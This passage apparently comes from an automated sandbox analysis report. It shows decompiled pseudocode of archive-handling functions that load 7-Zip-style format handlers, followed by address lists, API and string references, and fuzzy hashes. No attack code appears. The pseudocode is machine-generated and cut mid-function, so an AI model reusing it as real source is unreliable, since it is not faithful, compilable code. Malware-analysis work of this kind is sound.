						_t118 =  *_t171(_t230 - 0x28);
						if(_t118 == 0) {
							goto L5;
						} else {
						}
					}
				}
				L30:
				 *[fs:0x0] =  *((intOrPtr*)(_t230 - 0xc));
				return _t118;
			}

0x0124b4d8
0x0124b4dd
0x0124b4e6
0x0124b4ef
0x0124b4fe
0x0124b502
0x0124b50c
0x0124b516
0x0124b519
0x0124b520
0x0124b545
0x0124b547
0x0124b549
0x0124b54c
0x00000000
0x00000000
0x00000000
0x00000000
0x0124b522
0x0124b529
0x0124b52d
0x0124b552
0x0124b552
0x0124b554
0x0124b557
0x0124b7be
0x0124b7be
0x0124b7be
0x0124b55d
0x0124b55d
0x0124b563
0x0124b571
0x0124b577
0x0124b57b
0x0124b584
0x0124b585
0x0124b586
0x0124b587
0x0124b58c
0x0124b58e
0x00000000
0x00000000
0x0124b594
0x0124b598
0x0124b59c
0x0124b5a8
0x0124b5b0
0x0124b5b5
0x0124b5b7
0x0124b5c0
0x0124b5c3
0x0124b5c8
0x0124b5d2
0x00000000
0x0124b5b9
0x0124b5b9
0x0124b5be
0x0124b5df
0x0124b5e5
0x0124b5e8
0x0124b7d6
0x0124b7db
0x0124b7e5
0x0124b7ea
0x0124b5ee
0x0124b5f4
0x0124b5f5
0x0124b5f6
0x0124b5fa
0x0124b5fb
0x0124b600
0x0124b607
0x0124b60f
0x0124b617
0x0124b61b
0x0124b620
0x0124b623
0x0124b62b
0x0124b62c
0x0124b62e
0x0124b631
0x0124b635
0x0124b63a
0x0124b63c
0x0124b7f1
0x0124b7f1
0x00000000
0x0124b642
0x0124b647
0x0124b648
0x0124b64a
0x0124b64d
0x0124b652
0x0124b654
0x00000000
0x0124b65a
0x0124b663
0x0124b667
0x0124b668
0x0124b675
0x0124b676
0x0124b678
0x0124b67b
0x0124b680
0x0124b687
0x0124b68e
0x0124b68f
0x0124b691
0x0124b696
0x0124b69b
0x0124b69d
0x00000000
0x0124b6a3
0x0124b6a3
0x0124b6a6
0x0124b6a8
0x0124b6ae
0x0124b6b0
0x0124b6b7
0x0124b6ba
0x0124b6be
0x0124b6c6
0x0124b6c6
0x0124b6c9
0x0124b6ca
0x0124b6cf
0x0124b6d3
0x0124b6da
0x0124b6da
0x0124b6da
0x0124b6da
0x0124b6e0
0x0124b6e4
0x0124b6e4
0x0124b6b7
0x0124b6ed
0x0124b6f1
0x0124b6fa
0x0124b6fb
0x0124b6fd
0x0124b700
0x0124b704
0x0124b709
0x0124b70b
0x0124b7f5
0x0124b7f8
0x0124b7fa
0x0124b800
0x0124b80b
0x0124b812
0x0124b812
0x0124b81c
0x0124b821
0x0124b711
0x0124b711
0x0124b717
0x0124b718
0x0124b724
0x0124b726
0x0124b72b
0x0124b730
0x0124b732
0x00000000
0x0124b738
0x0124b742
0x00000000
0x0124b742
0x0124b71a
0x0124b71d
0x0124b747
0x0124b74c
0x0124b753
0x0124b754
0x0124b756
0x0124b759
0x0124b75e
0x0124b760
0x00000000
0x0124b766
0x0124b766
0x0124b769
0x0124b773
0x0124b773
0x0124b77c
0x0124b783
0x0124b79b
0x0124b7a0
0x0124b7a4
0x0124b7ad
0x0124b7b2
0x0124b7b2
0x0124b7b4
0x0124b7b4
0x0124b7b5
0x0124b7b8
0x00000000
0x00000000
0x00000000
0x00000000
0x0124b7b8
0x0124b760
0x0124b718
0x0124b70b
0x0124b69d
0x0124b654
0x0124b63c
0x00000000
0x00000000
0x00000000
0x0124b5be
0x00000000
0x0124b5b7
0x0124b7cf
0x00000000
0x0124b7cf
0x0124b52f
0x0124b533
0x0124b537
0x00000000
0x00000000
0x0124b539
0x0124b537
0x0124b52d
0x0124b7c0
0x0124b7c6
0x0124b7ce

APIs

__EH_prolog.LIBCMT ref: 0124B4D8
GetProcAddress.KERNEL32(00000004,GetHandlerProperty2), ref: 0124B505
GetProcAddress.KERNEL32(00000004,GetIsArc), ref: 0124B511
GetProcAddress.KERNEL32(00000004,GetNumberOfFormats), ref: 0124B529
GetProcAddress.KERNEL32(00000004,GetHandlerProperty), ref: 0124B545
SysStringByteLen.OLEAUT32(?), ref: 0124B5DF

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Strings

GetHandlerProperty, xrefs: 0124B53E
GetNumberOfFormats, xrefs: 0124B522
GetHandlerProperty2, xrefs: 0124B4F9
GetIsArc, xrefs: 0124B507

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressProc$ByteH_prologStringfree
String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
API String ID: 655409697-3984264347
Opcode ID: b169124a8558d519934bea2aaf95edc597b41d1ab904fed4f2c533da4da7793e
Instruction ID: 0d6a2731ed92ea2534f5352a04735443aff696e604460340a78473b61cd39069
Opcode Fuzzy Hash: b169124a8558d519934bea2aaf95edc597b41d1ab904fed4f2c533da4da7793e
Instruction Fuzzy Hash: A1A18D71D2025AEFDF29EBA4CC84AEEBBB9BF54304F144159E501B7290DB709E46CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0123E57D Relevance: 15.7, APIs: 2, Strings: 6, Instructions: 1665
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0123E57D() {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t726;
				intOrPtr* _t728;
				signed int _t736;
				signed int _t737;
				signed int _t738;
				signed int _t740;
				signed int _t741;
				signed int _t743;
				signed int _t744;
				signed int _t747;
				signed int _t748;
				signed int _t750;
				signed int _t754;
				signed int _t760;
				signed int _t761;
				signed int _t763;
				signed int _t767;
				signed int _t769;
				signed int _t771;
				signed int _t775;
				void* _t783;
				void* _t784;
				void* _t789;
				signed int _t791;
				signed int _t792;
				signed int _t797;
				signed int _t798;
				signed int _t801;
				signed int _t809;
				signed int _t812;
				char _t813;
				signed int _t816;
				signed int _t819;
				signed int _t823;
				signed int _t826;
				signed int _t833;
				signed int _t838;
				signed int _t847;
				signed int _t869;
				void* _t879;
				void* _t888;
				void* _t889;
				signed int _t893;
				signed int _t900;
				signed int _t904;
				void* _t908;
				void* _t909;
				intOrPtr* _t911;
				signed int _t914;
				signed int _t916;
				signed int _t948;
				signed int _t957;
				signed int _t961;
				signed int _t966;
				void* _t975;
				void* _t980;
				signed int* _t991;
				signed int _t992;
				signed int _t998;
				signed int _t1000;
				void* _t1002;
				void* _t1010;
				signed int _t1013;
				signed int _t1015;
				signed int _t1017;
				signed int _t1021;
				signed int _t1023;
				signed int _t1028;
				signed int _t1034;
				signed int _t1040;
				signed int _t1041;
				signed int _t1042;
				void* _t1045;
				signed int* _t1055;
				signed int _t1056;
				void* _t1062;
				void* _t1065;
				signed int _t1074;
				signed int _t1096;
				signed int _t1097;
				signed int _t1098;
				void* _t1140;
				intOrPtr _t1211;
				signed int _t1273;
				signed int _t1277;
				void* _t1297;
				signed int _t1325;
				signed int _t1341;
				intOrPtr* _t1350;
				intOrPtr* _t1351;
				signed int _t1353;
				intOrPtr _t1354;
				signed int _t1355;
				signed int _t1356;
				intOrPtr* _t1357;
				signed int _t1358;
				intOrPtr* _t1360;
				signed int _t1362;
				intOrPtr* _t1366;
				intOrPtr* _t1367;
				intOrPtr* _t1368;
				signed int _t1369;
				signed int _t1371;
				signed int _t1373;
				void* _t1374;
				void* _t1376;
				signed int _t1394;

				E012639E0(E01265041, _t1374);
				_t1371 =  *(_t1374 + 8);
				 *( *(_t1374 + 0x10)) = 0;
				 *((intOrPtr*)(_t1374 - 0x10)) = _t1376 - 0xdc;
				 *((intOrPtr*)(_t1374 - 4)) = 0;
				if( *(_t1371 + 0x108) != 0) {
					E01240430( *((intOrPtr*)(_t1371 + 0x104)) + 8);
				}
				_t1350 = _t1371 + 0x100;
				 *((char*)(_t1371 + 0x10c)) = 0;
				_t726 =  *_t1350;
				if(_t726 != 0) {
					 *((intOrPtr*)( *_t726 + 8))(_t726);
					 *_t1350 = 0;
				}
				 *((char*)(_t1371 + 0xc5)) = 0;
				 *(_t1371 + 0xb8) = 0;
				 *((intOrPtr*)(_t1371 + 0xbc)) = 0;
				 *(_t1371 + 0xc0) = 0;
				 *(_t1371 + 0xf0) = 0;
				 *(_t1371 + 0xf4) = 0;
				 *(_t1371 + 0xf8) = 0;
				 *((char*)(_t1371 + 0xf9)) = 0;
				 *(_t1371 + 0xe8) =  *(_t1374 + 0xc);
				_t728 = _t1371 + 0xac;
				_t1351 = _t1371 + 0x198;
				 *((intOrPtr*)(_t728 + 4)) = 0;
				 *((short*)( *_t728)) = 0;
				 *((intOrPtr*)(_t1351 + 4)) = 0;
				 *((short*)( *_t1351)) = 0;
				 *((char*)(_t1371 + 0xa4)) =  *(_t1371 + 0x11c);
				 *(_t1374 - 0x54) =  *( *(_t1371 + 0x14));
				if( *(_t1371 + 0x11c) != 0) {
					 *(_t1371 + 0xa8) =  *(_t1371 + 0x120);
					_t1074 =  *(_t1371 + 0x54);
					if(_t1074 == 0 || _t1074 == 3) {
						_t34 = _t1371 + 0xa8;
						 *_t34 =  *(_t1371 + 0xa8) | 0xffffffff;
						_t1394 =  *_t34;
					}
				}
				 *((char*)(_t1371 + 0x9d)) =  *((intOrPtr*)(_t1371 + 0x21));
				_push(_t1371 + 0x6c);
				_push( *(_t1374 + 0xc));
				_t736 = E0124DEAB( *(_t1371 + 0x14), _t1394);
				if(_t736 != 0) {
					L353:
					 *[fs:0x0] =  *((intOrPtr*)(_t1374 - 0xc));
					return _t736;
				}
				 *(_t1374 - 0x24) = 0;
				 *((short*)(_t1374 - 0x22)) = 0;
				 *(_t1374 - 0x1c) = 0;
				_t737 =  *(_t1374 - 0x54);
				 *((char*)(_t1374 - 4)) = 1;
				_t738 =  *((intOrPtr*)( *_t737 + 0x18))(_t737,  *(_t1374 + 0xc), 0x1d, _t1374 - 0x24);
				if(_t738 == 0) {
					__eflags =  *(_t1374 - 0x24);
					if( *(_t1374 - 0x24) == 0) {
						L17:
						E01238173(_t1374 - 0x24);
						 *(_t1374 - 0x29) = 0;
						 *(_t1374 - 0x3a) = 0;
						 *(_t1374 + 0xb) = 0;
						 *(_t1374 - 0x24) = 0;
						 *((short*)(_t1374 - 0x22)) = 0;
						 *(_t1374 - 0x1c) = 0;
						_t740 =  *(_t1374 - 0x54);
						 *((char*)(_t1374 - 4)) = 2;
						_t741 =  *((intOrPtr*)( *_t740 + 0x18))(_t740,  *(_t1374 + 0xc), 0x5a, _t1374 - 0x24);
						__eflags = _t741;
						if(_t741 == 0) {
							__eflags =  *(_t1374 - 0x24) - 8;
							if( *(_t1374 - 0x24) != 8) {
								__eflags =  *(_t1374 - 0x24);
								if( *(_t1374 - 0x24) == 0) {
									goto L21;
								} else {
									_t1373 = 0x80004005;
									goto L25;
								}
							} else {
								 *(_t1374 - 0x29) = 1;
								 *(_t1374 + 0xb) = 0;
								E01232B37(_t741, _t1351,  *(_t1374 - 0x1c));
								L21:
								E01238173(_t1374 - 0x24);
								 *(_t1374 - 0x24) = 0;
								 *((short*)(_t1374 - 0x22)) = 0;
								 *(_t1374 - 0x1c) = 0;
								_t743 =  *(_t1374 - 0x54);
								 *((char*)(_t1374 - 4)) = 3;
								_t744 =  *((intOrPtr*)( *_t743 + 0x18))(_t743,  *(_t1374 + 0xc), 0x36, _t1374 - 0x24);
								__eflags = _t744;
								if(_t744 == 0) {
									__eflags =  *(_t1374 - 0x24) - 8;
									if( *(_t1374 - 0x24) != 8) {
										__eflags =  *(_t1374 - 0x24);
										if( *(_t1374 - 0x24) == 0) {
											goto L28;
										}
										_t1373 = 0x80004005;
										goto L43;
									} else {
										 *(_t1374 - 0x29) = 0;
										 *(_t1374 + 0xb) = 1;
										E01232B37(_t744, _t1351,  *(_t1374 - 0x1c));
										L28:
										 *((char*)(_t1374 - 4)) = 0;
										E01238173(_t1374 - 0x24);
										__eflags =  *(_t1371 + 0x19c);
										if( *(_t1371 + 0x19c) != 0) {
											L36:
											E01232EFE(_t1351, 0x2f, 0x5c);
											_t747 = E0123211D( *_t1351, L"\\??\\");
											__eflags = _t747;
											if(_t747 == 0) {
												L39:
												_t748 = E0123741D( *_t1351, _t1371);
												__eflags = _t748;
												if(_t748 == 0) {
													__eflags =  *(_t1371 + 0x19c);
													if( *(_t1371 + 0x19c) == 0) {
														L54:
														_t736 = E0124DA0D( *(_t1374 - 0x54),  *(_t1374 + 0xc), 0xf, _t1371 + 0xc5);
														__eflags = _t736;
														if(_t736 != 0) {
															goto L353;
														}
														_t736 = E0123E24D(_t1371);
														__eflags = _t736;
														if(_t736 != 0) {
															goto L353;
														}
														__eflags =  *(_t1371 + 0x1e);
														if( *(_t1371 + 0x1e) != 0) {
															L58:
															_t1095 =  *(_t1371 + 0x24);
															_t1353 = _t1371 + 0x78;
															__eflags =  *(_t1371 + 0x24);
															if(__eflags == 0) {
																L60:
																__eflags =  *(_t1371 + 0x11c);
																if( *(_t1371 + 0x11c) == 0) {
																	_t750 =  *(_t1353 + 4);
																	__eflags = _t750;
																	if(_t750 != 0) {
																		L71:
																		_t1096 =  *(_t1371 + 0x54);
																		 *(_t1374 - 0x28) = 0;
																		__eflags = _t1096;
																		if(_t1096 < 0) {
																			L95:
																			_push( *(_t1374 - 0x28));
																			_t1097 = _t1371 + 0x78;
																			L96:
																			E012403F4(_t1097, _t1353);
																			L97:
																			__eflags =  *(_t1371 + 0x60);
																			if( *(_t1371 + 0x60) == 0) {
																				 *(_t1374 - 0x14) = 0;
																				__eflags =  *(_t1374 + 0x14);
																				 *((char*)(_t1374 - 4)) = 0xa;
																				if( *(_t1374 + 0x14) != 0) {
																					L117:
																					__eflags =  *(_t1371 + 0x108);
																					if( *(_t1371 + 0x108) == 0) {
																						L121:
																						_t1098 =  *(_t1374 - 0x14);
																						__eflags = _t1098;
																						if(_t1098 != 0) {
																							_t754 = _t1098;
																							_t1098 = 0;
																							__eflags = 0;
																							 *(_t1374 - 0x14) = 0;
																							 *( *(_t1374 + 0x10)) = _t754;
																						}
																						__eflags = _t1098;
																						 *((char*)(_t1374 - 4)) = 0;
																						if(_t1098 != 0) {
																							 *((intOrPtr*)( *_t1098 + 8))(_t1098);
																						}
																						L125:
																						_t736 = 0;
																						goto L353;
																					}
																					__eflags =  *(_t1374 + 0x14);
																					if( *(_t1374 + 0x14) == 0) {
																						L120:
																						E01240E48( *((intOrPtr*)(_t1371 + 0x104)) + 8,  *(_t1374 - 0x14));
																						E01240E48(_t1374 - 0x14,  *(_t1371 + 0x108));
																						_t1354 =  *((intOrPtr*)(_t1371 + 0x104));
																						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1354 + 0x1c))))))();
																						 *((intOrPtr*)(_t1354 + 0x10)) = 0;
																						 *((intOrPtr*)(_t1354 + 0x14)) = 0;
																						 *((char*)(_t1354 + 0x18)) = 1;
																						 *((char*)(_t1371 + 0x10c)) = 1;
																						goto L121;
																					}
																					__eflags =  *(_t1374 + 0x14) - 1;
																					if( *(_t1374 + 0x14) != 1) {
																						goto L121;
																					}
																					goto L120;
																				}
																				__eflags =  *(_t1371 + 0x125);
																				if( *(_t1371 + 0x125) != 0) {
																					goto L117;
																				}
																				__eflags =  *(_t1371 + 0x124);
																				if( *(_t1371 + 0x124) == 0) {
																					 *(_t1374 - 0x24) = 0;
																					 *((short*)(_t1374 - 0x22)) = 0;
																					 *(_t1374 - 0x1c) = 0;
																					_t760 =  *(_t1374 - 0x54);
																					_t1355 =  *(_t1374 + 0xc);
																					 *((char*)(_t1374 - 4)) = 0xb;
																					_t761 =  *((intOrPtr*)( *_t760 + 0x18))(_t760, _t1355, 9, _t1374 - 0x24);
																					__eflags = _t761;
																					 *(_t1374 - 0x28) = _t761;
																					if(_t761 == 0) {
																						__eflags =  *(_t1374 - 0x24) - 0x13;
																						if( *(_t1374 - 0x24) != 0x13) {
																							__eflags =  *(_t1374 - 0x24);
																							if( *(_t1374 - 0x24) != 0) {
																								E01238173(_t1374 - 0x24);
																								L236:
																								_t763 =  *(_t1374 - 0x14);
																								 *((char*)(_t1374 - 4)) = 0;
																								__eflags = _t763;
																								if(_t763 != 0) {
																									 *((intOrPtr*)( *_t763 + 8))(_t763);
																								}
																								L238:
																								_t736 = 0x80004005;
																								goto L353;
																							}
																							 *((char*)(_t1371 + 0xe7)) = 0;
																							L134:
																							 *((char*)(_t1374 - 4)) = 0xa;
																							E01238173(_t1374 - 0x24);
																							_push(_t1371 + 0xe4);
																							_push(_t1371 + 0xc8);
																							_push(0xa);
																							_push(_t1355);
																							_t767 = E0123E1B8(_t1371);
																							__eflags = _t767;
																							 *(_t1374 - 0x28) = _t767;
																							if(_t767 == 0) {
																								_push(_t1371 + 0xe5);
																								_push(_t1371 + 0xd0);
																								_push(0xb);
																								_push(_t1355);
																								_t769 = E0123E1B8(_t1371);
																								__eflags = _t769;
																								 *(_t1374 - 0x28) = _t769;
																								if(_t769 == 0) {
																									_push(_t1371 + 0xe6);
																									_push(_t1371 + 0xd8);
																									_push(0xc);
																									_push(_t1355);
																									_t771 = E0123E1B8(_t1371);
																									__eflags = _t771;
																									 *(_t1374 - 0x28) = _t771;
																									if(_t771 == 0) {
																										 *(_t1374 - 0x39) = 0;
																										_t1113 =  *( *(_t1371 + 0x14));
																										_t1356 = E0124DA0D( *( *(_t1371 + 0x14)), _t1355, 0x15, _t1374 - 0x39);
																										__eflags = _t1356;
																										if(_t1356 != 0) {
																											L292:
																											_t775 =  *(_t1374 - 0x14);
																											 *((char*)(_t1374 - 4)) = 0;
																											__eflags = _t775;
																											if(_t775 != 0) {
																												 *((intOrPtr*)( *_t775 + 8))(_t775);
																											}
																											_t736 = _t1356;
																											goto L353;
																										}
																										__eflags =  *(_t1371 + 0x9c);
																										if( *(_t1371 + 0x9c) == 0) {
																											L151:
																											__eflags =  *(_t1371 + 0x54) - 3;
																											_t1357 = _t1371 + 0x78;
																											_push( *(_t1371 + 0x9f));
																											_push(_t1357);
																											__eflags =  *(_t1371 + 0x54) == 3;
																											E0124A0E7(_t1113 & 0xffffff00 |  *(_t1371 + 0x54) == 0x00000003,  *((intOrPtr*)(_t1371 + 0x5c)));
																											L152:
																											__eflags =  *(_t1371 + 0x9c);
																											if(__eflags == 0) {
																												L163:
																												E0124A270(_t1374 - 0x48, _t1357, __eflags);
																												__eflags =  *(_t1374 - 0x39);
																												 *((char*)(_t1374 - 4)) = 0xd;
																												if(__eflags != 0) {
																													L185:
																													E012329BC(_t1374 - 0x38, __eflags, _t1374 - 0x48);
																													__eflags =  *(_t1371 + 0x54) - 3;
																													 *((char*)(_t1374 - 4)) = 0xf;
																													if(__eflags != 0) {
																														L187:
																														_push(_t1374 - 0x38);
																														_t783 = E0123FCE1(_t1374 - 0x20, _t1371 + 0x3c, __eflags);
																														 *((char*)(_t1374 - 4)) = 0x10;
																														_t784 = E01232A8C(_t1374 - 0x38, _t783);
																														 *((char*)(_t1374 - 4)) = 0xf;
																														E01231ABD(_t784,  *((intOrPtr*)(_t1374 - 0x20)));
																														L188:
																														__eflags =  *(_t1371 + 0x9c);
																														if( *(_t1371 + 0x9c) != 0) {
																															_t961 =  *(_t1371 + 0xa0);
																															__eflags = _t961 - 0xffffffff;
																															if(_t961 != 0xffffffff) {
																																 *(_t1374 - 0x24) = _t961;
																																E012328E9(_t1374 - 0x20);
																																_t1366 = _t1371 + 0x1a4;
																																 *((char*)(_t1374 - 4)) = 0x11;
																																 *(_t1374 - 0x4c) = E01240615(_t1366, _t1374 - 0x24);
																																 *((char*)(_t1374 - 4)) = 0xf;
																																E01231ABD(_t964,  *((intOrPtr*)(_t1374 - 0x20)));
																																_t966 =  *(_t1374 - 0x4c);
																																__eflags = _t966;
																																if(_t966 >= 0) {
																																	__eflags =  *((intOrPtr*)( *_t1366 + _t966 * 4)) + 4;
																																	E01232A8C(_t1374 - 0x38,  *((intOrPtr*)( *_t1366 + _t966 * 4)) + 4);
																																	E01231089(_t1374 - 0x38, 0x3a);
																																	E012329BC(_t1374 - 0x20, __eflags, _t1371 + 0x90);
																																	 *((char*)(_t1374 - 4)) = 0x12;
																																	E01249ED7(_t1374 - 0x20);
																																	_t975 = E01232C71(_t1374 - 0x38, __eflags, _t1374 - 0x20);
																																	 *((char*)(_t1374 - 4)) = 0xf;
																																	E01231ABD(_t975,  *((intOrPtr*)(_t1374 - 0x20)));
																																}
																															}
																														}
																														__eflags =  *(_t1371 + 0x9e);
																														 *(_t1374 - 0x2a) = 0;
																														if( *(_t1371 + 0x9e) == 0) {
																															__eflags =  *(_t1371 + 0xc0);
																															if( *(_t1371 + 0xc0) != 0) {
																																goto L259;
																															}
																															E01235C60(_t1374 - 0x98);
																															E012328E9(_t1374 - 0x70);
																															_push( *((intOrPtr*)(_t1374 - 0x38)));
																															 *((char*)(_t1374 - 4)) = 0x13;
																															_t893 = E01235D00(_t1374 - 0x98, __eflags); // executed
																															__eflags = _t893;
																															if(__eflags == 0) {
																																_t1362 = E012373D8( *((intOrPtr*)(_t1374 - 0x38)), __eflags);
																																__eflags = _t1362;
																																if(_t1362 < 0) {
																																	L258:
																																	 *((char*)(_t1374 - 4)) = 0xf;
																																	E01231ABD(_t894,  *((intOrPtr*)(_t1374 - 0x70)));
																																	goto L259;
																																}
																																_t894 =  *((intOrPtr*)(_t1374 - 0x38));
																																__eflags =  *( *((intOrPtr*)(_t1374 - 0x38)) + 2 + _t1362 * 2);
																																if(__eflags == 0) {
																																	goto L258;
																																}
																																E012329BC(_t1374 - 0x20, __eflags, _t1374 - 0x38);
																																__eflags = _t1362 -  *(_t1374 - 0x1c);
																																 *((char*)(_t1374 - 4)) = 0x18;
																																if(_t1362 <  *(_t1374 - 0x1c)) {
																																	 *(_t1374 - 0x1c) = _t1362;
																																	 *((short*)( *((intOrPtr*)(_t1374 - 0x20)) + _t1362 * 2)) = 0;
																																}
																																E01235C60(_t1374 - 0xe8);
																																E012328E9(_t1374 - 0xc0);
																																_push( *((intOrPtr*)(_t1374 - 0x20)));
																																 *((char*)(_t1374 - 4)) = 0x19;
																																_t900 = E01235D00(_t1374 - 0xe8, __eflags);
																																__eflags = _t900;
																																if(_t900 != 0) {
																																	_t1325 =  *(_t1374 - 0xc8);
																																	__eflags = _t1325 & 0x00000001;
																																	if((_t1325 & 0x00000001) != 0) {
																																		__eflags = _t1325 & 0xfffffffe;
																																		_t900 = E01234D1A( *((intOrPtr*)(_t1374 - 0x20)), _t1325 & 0xfffffffe);
																																	}
																																}
																																_t894 = E01231ABD(E01231ABD(_t900,  *((intOrPtr*)(_t1374 - 0xc0))),  *((intOrPtr*)(_t1374 - 0x20)));
																																L257:
																																goto L258;
																															}
																															_t904 =  *(_t1371 + 0x58);
																															__eflags = _t904;
																															if(_t904 == 0) {
																																_t908 = E0123FB14(_t1374 - 0x38, _t1374 - 0x60, E01232D7F(_t1374 - 0x38) + 1);
																																 *((char*)(_t1374 - 4)) = 0x14;
																																_t909 = E0123288E(_t1374 - 0x20, _t908, _t1374 - 0x70);
																																 *((char*)(_t1374 - 4)) = 0x16;
																																E01231ABD(_t909,  *((intOrPtr*)(_t1374 - 0x60)));
																																_t911 =  *((intOrPtr*)(_t1371 + 0x28));
																																asm("sbb edx, edx");
																																asm("sbb edx, edx");
																																_t1356 =  *((intOrPtr*)( *_t911 + 0x14))(_t911,  *((intOrPtr*)(_t1374 - 0x20)), _t1374 - 0x80, _t1374 - 0x98,  *((intOrPtr*)(_t1371 + 0x6c)),  ~( *(_t1371 + 0xe6)) & _t1371 + 0x000000d8,  ~( *(_t1371 + 0xf8)) & _t1371 + 0x000000f0, _t1374 - 0x4c);
																																__eflags = _t1356;
																																if(_t1356 == 0) {
																																	_t914 =  *(_t1374 - 0x4c);
																																	__eflags = _t914;
																																	if(_t914 == 0) {
																																		L221:
																																		 *((char*)(_t1374 - 4)) = 0x13;
																																		E01231ABD(_t914,  *((intOrPtr*)(_t1374 - 0x20)));
																																		L222:
																																		_t916 =  *(_t1371 + 0x58);
																																		__eflags = _t916 - 3;
																																		if(__eflags != 0) {
																																			__eflags = _t916 - 4;
																																			if(__eflags != 0) {
																																				_t1211 =  *((intOrPtr*)(_t1374 - 0x38));
																																				__eflags =  *(_t1374 - 0x78) >> 0x00000004 & 0x00000001;
																																				if(__eflags == 0) {
																																					__eflags = E01236177(_t1211, __eflags);
																																					if(__eflags == 0) {
																																						goto L258;
																																					}
																																					_t894 = E01235320( *((intOrPtr*)(_t1374 - 0x38)), __eflags);
																																					__eflags = _t894;
																																					if(_t894 != 0) {
																																						goto L258;
																																					}
																																					__eflags = GetLastError() - 2;
																																					if(__eflags == 0) {
																																						goto L258;
																																					}
																																					_push(_t1374 - 0x38);
																																					_push( *0x1268cbc);
																																					L247:
																																					_t920 = E0123E2D7(_t1371, __eflags);
																																					_push( *((intOrPtr*)(_t1374 - 0x70)));
																																					_t1373 = _t920;
																																					__eflags = _t1373;
																																					if(_t1373 != 0) {
																																						L225:
																																						E01231ABD(E01231ABD(E01231ABD(_t920),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																						goto L313;
																																					}
																																					L248:
																																					E01231ABD(E01231ABD(E01231ABD(_t920),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																					goto L198;
																																				}
																																				__eflags = E01234DBB(_t1211);
																																				if(__eflags != 0) {
																																					goto L258;
																																				}
																																				_push(_t1374 - 0x38);
																																				_push( *0x1268cc0);
																																				goto L247;
																																			}
																																			E012329BC(_t1374 - 0x20, __eflags, _t1374 - 0x38);
																																			 *((char*)(_t1374 - 4)) = 0x17;
																																			__eflags = E01239183(_t1374 - 0x20, __eflags);
																																			if(__eflags != 0) {
																																				__eflags = E01234E3D( *((intOrPtr*)(_t1374 - 0x38)),  *((intOrPtr*)(_t1374 - 0x20)));
																																				if(__eflags != 0) {
																																					_t894 = E01231ABD(_t931,  *((intOrPtr*)(_t1374 - 0x20)));
																																					goto L257;
																																				}
																																				_push(_t1374 - 0x38);
																																				_push(_t1374 - 0x20);
																																				_push( *0x1268cb8);
																																				_t934 = E0123E368(_t1371, __eflags);
																																				L233:
																																				_push( *((intOrPtr*)(_t1374 - 0x20)));
																																				_t1373 = _t934;
																																				__eflags = _t1373;
																																				if(_t1373 == 0) {
																																					L235:
																																					E01231ABD(E01231ABD(E01231ABD(E01231ABD(_t934),  *((intOrPtr*)(_t1374 - 0x70))),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																					goto L236;
																																				}
																																				E01231ABD(E01231ABD(E01231ABD(E01231ABD(_t934),  *((intOrPtr*)(_t1374 - 0x70))),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																				goto L313;
																																			}
																																			_push(_t1374 - 0x38);
																																			_push( *0x1268cb4);
																																			_t934 = E0123E26A(_t1371, __eflags);
																																			goto L233;
																																		}
																																		__eflags = E01239183(_t1374 - 0x38, __eflags);
																																		if(__eflags != 0) {
																																			 *(_t1374 - 0x2a) = 1;
																																			goto L258;
																																		}
																																		_push(_t1374 - 0x38);
																																		_push( *0x1268cb4);
																																		_t920 = E0123E26A(_t1371, __eflags);
																																		_push( *((intOrPtr*)(_t1374 - 0x70)));
																																		_t1373 = _t920;
																																		__eflags = _t1373;
																																		if(_t1373 == 0) {
																																			E01231ABD(E01231ABD(E01231ABD(_t920),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																			goto L236;
																																		}
																																		goto L225;
																																	}
																																	_t914 = _t914 - 1;
																																	__eflags = _t914;
																																	if(_t914 == 0) {
																																		 *(_t1371 + 0x58) = 1;
																																		goto L221;
																																	}
																																	_t948 = _t914 - 1;
																																	__eflags = _t948;
																																	if(_t948 == 0) {
																																		L219:
																																		E01231ABD(E01231ABD(E01231ABD(E01231ABD(_t948,  *((intOrPtr*)(_t1374 - 0x20))),  *((intOrPtr*)(_t1374 - 0x70))),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																		goto L198;
																																	}
																																	_t948 = _t948 - 1;
																																	__eflags = _t948;
																																	if(_t948 == 0) {
																																		 *(_t1371 + 0x58) = 2;
																																		goto L219;
																																	}
																																	_t914 = _t948 - 1;
																																	__eflags = _t914;
																																	if(_t914 == 0) {
																																		 *(_t1371 + 0x58) = 3;
																																		goto L221;
																																	}
																																	_push( *((intOrPtr*)(_t1374 - 0x20)));
																																	_t934 = _t914 != 1;
																																	__eflags = _t914 != 1;
																																	if(_t914 != 1) {
																																		goto L235;
																																	}
																																	E01231ABD(E01231ABD(E01231ABD(E01231ABD(_t934),  *((intOrPtr*)(_t1374 - 0x70))),  *((intOrPtr*)(_t1374 - 0x38))),  *((intOrPtr*)(_t1374 - 0x48)));
																																	_t957 =  *(_t1374 - 0x14);
																																	__eflags = _t957;
																																	 *((char*)(_t1374 - 4)) = 0;
																																	if(_t957 != 0) {
																																		 *((intOrPtr*)( *_t957 + 8))(_t957);
																																	}
																																	_t736 = 0x80004004;
																																	goto L353;
																																}
																																_t879 = E01231ABD(_t912,  *((intOrPtr*)(_t1374 - 0x20)));
																																_push( *((intOrPtr*)(_t1374 - 0x70)));
